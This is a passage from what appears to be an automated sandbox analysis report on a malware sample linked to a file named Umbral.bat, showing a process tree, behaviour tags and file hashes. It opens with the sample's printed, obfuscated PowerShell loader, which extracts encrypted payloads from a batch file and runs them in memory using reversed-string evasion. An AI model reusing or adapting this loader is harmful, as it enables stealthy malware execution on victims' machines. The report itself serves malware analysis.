$dqAwB=New-Object System.IO.Compression.GZipStream($LaItK, [IO.Compression.CompressionMode]::Decompress); $dqAwB.CopyTo($BkPnB); $dqAwB.Dispose(); $LaItK.Dispose(); $BkPnB.Dispose(); $BkPnB.ToArray();}function execute_function($param_var,$param2_var){ $aRoAH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GgeTI=$aRoAH.EntryPoint; $GgeTI.Invoke($null, $param2_var);}$cxvio = 'C:\Users\Admin\AppData\Local\Temp\Umbral.bat';$host.UI.RawUI.WindowTitle = $cxvio;$jncrM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cxvio).Split([Environment]::NewLine);foreach ($EHnfk in $jncrM) { if ($EHnfk.StartsWith('qqYQzFlhLQoZwGnqjKHD')) { $uHvVU=$EHnfk.Substring(20); break; }}$payloads_var=[string[]]$uHvVU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3484
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵PID:1836
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3156
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3756
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4804
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4000
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3828
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4488
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2056
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4676
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82